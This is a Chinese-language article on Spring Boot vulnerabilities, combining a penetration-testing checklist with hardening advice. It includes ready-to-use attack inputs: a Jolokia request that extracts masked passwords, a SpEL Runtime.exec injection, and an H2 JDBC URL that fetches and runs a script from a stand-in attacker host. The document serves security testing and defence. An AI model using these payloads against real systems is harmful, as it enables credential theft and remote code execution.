spring-boot详解

一、Spring Boot基础与安全机制

1. Spring Boot定义

  • 核心定位:Spring Boot是Spring生态的子项目,用于简化Spring应用的初始搭建和开发流程,提供自动化配置(@EnableAutoConfiguration)、内嵌服务器(Tomcat/Jetty)和Starter依赖机制。
  • 关键特性
    • 无XML配置,通过spring-boot-starter-*依赖自动装配组件。
    • Actuator模块提供生产环境监控端点(如/env/health),默认暴露敏感信息。

2. 安全机制缺陷

  • 默认暴露路由:Actuator端点未授权访问导致信息泄露。
  • 配置不当:开发环境配置误用于生产环境(如Swagger、Actuator未关闭)。
  • 依赖链风险:第三方库(如SnakeYAML、XStream)的反序列化漏洞被利用。

二、Spring Boot历史漏洞详解

1. 信息泄露类漏洞

  • 敏感数据暴露
    • 漏洞路径/env/actuator/env 泄露环境变量、数据库密码(部分脱敏字段可被绕过)16。

    • 脱敏绕过:通过Jolokia接口调用MBean获取星号(******)遮掩的密码明文:

1
2
3
POST /jolokia HTTP/1.1

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin", "operation": "getProperty", "arguments": ["security.user.password"]}
  • 接口详情泄露
    • Swagger路由/v2/api-docs/swagger-ui.html 暴露API文档及参数。

2. 远程代码执行(RCE)漏洞

以下是12类核心RCE漏洞的对比与利用要点:

漏洞名称 利用条件 利用方法 关键路径
Whitelabel Error Page SpEL Spring Boot 1.1.0-1.3.0 注入SpEL表达式:${T(java.lang.Runtime).getRuntime().exec("id")} 触发错误页面的参数(如?id=)
Spring Cloud SnakeYAML RCE 依赖spring-cloud-starter 设置spring.cloud.bootstrap.location指向恶意YAML文件 /env + /refresh
Eureka XStream反序列化 使用Eureka服务发现 修改eureka.client.serviceUrl.defaultZone指向恶意XStream Payload /env + /refresh
Jolokia Logback JNDI Jolokia端点开放 + Logback依赖 通过ch.qos.logback.classic.jmx.JMXConfigurator加载远程恶意XML /jolokia + POST请求
H2 Database Console JNDI 启用H2 Console(默认/h2-console 利用JDBC URL触发JNDI注入:jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3/;INIT=RUNSCRIPT FROM 'http://attacker/exp.sql' /h2-console登录后的JDBC执行点
MySQL JDBC反序列化 使用MySQL驱动 + 可外连 劫持JDBC连接至恶意MySQL服务器,发送Gadget链 修改spring.datasource.url属性

💡 利用链共性:多数RCE依赖Actuator的/env端点修改环境变量,并通过/refresh/restart触发配置生效。


三、黑盒安全评估检查清单

1. 路由探测与版本识别

  • 默认路由扫描
    • Actuator 1.x根路径:/env/heapdump
    • Actuator 2.x根路径:/actuator/env/actuator/heapdump
    • 自定义路径:尝试/manage/appenv等常见替代路径。
  • 版本依赖关系
    Spring Cloud与Boot版本兼容表
Spring Cloud Spring Boot
Edgware 1.5.x (不兼容2.x)
Finchley 2.0.x
Hoxton 2.2.x-2.3.x

2. 敏感端点检测

  • 高风险端点
1
2
3
4
/env            # 环境变量与配置
/jolokia/list # 列出所有MBean
/heapdump # 下载堆内存快照(含敏感数据)
/trace # 查看HTTP请求记录(含Cookie)
  • 信息泄露验证
    检查/v2/api-docs是否返回API JSON结构;访问/swagger-ui.html确认接口详情。

3. 漏洞利用验证流程

  1. 信息收集
    • 访问/env搜索passwordsecret等关键词。
    • 检查******字段,尝试Jolokia明文提取。
  2. RCE触发
    • 修改环境变量(如spring.datasource.url注入恶意JDBC)。
    • 调用/refresh/restart生效配置。
  3. 内存分析
    • 下载/heapdump,使用MAT工具分析内存中的密码明文。

四、防御建议

  1. 端点管控
    • 生产环境关闭Actuator或通过management.endpoints.web.exposure.include限制暴露端点。
  2. 依赖安全
    • 避免使用有漏洞的组件(如XStream < 1.4.17、SnakeYAML < 1.31)。
  3. 配置加固
    • 重命名敏感端点路径(如management.endpoints.web.path-mapping.env=internal-env)。
    • 启用Spring Security对Actuator端点鉴权。

五、学习资源

  1. 漏洞项目

  2. 深度分析

  3. 实验环境

  4. 推荐工具

    1. heapdump_tool
    2. SpringBoot-Scan
    3. Swagger API Exploit
  5. 常见案列

    1. 10个Spring Boot 优秀学习项目_springboot项目

此框架覆盖了Spring Boot漏洞的核心场景,从原理到实践形成闭环,可作为渗透测试和安全加固的标准化参考。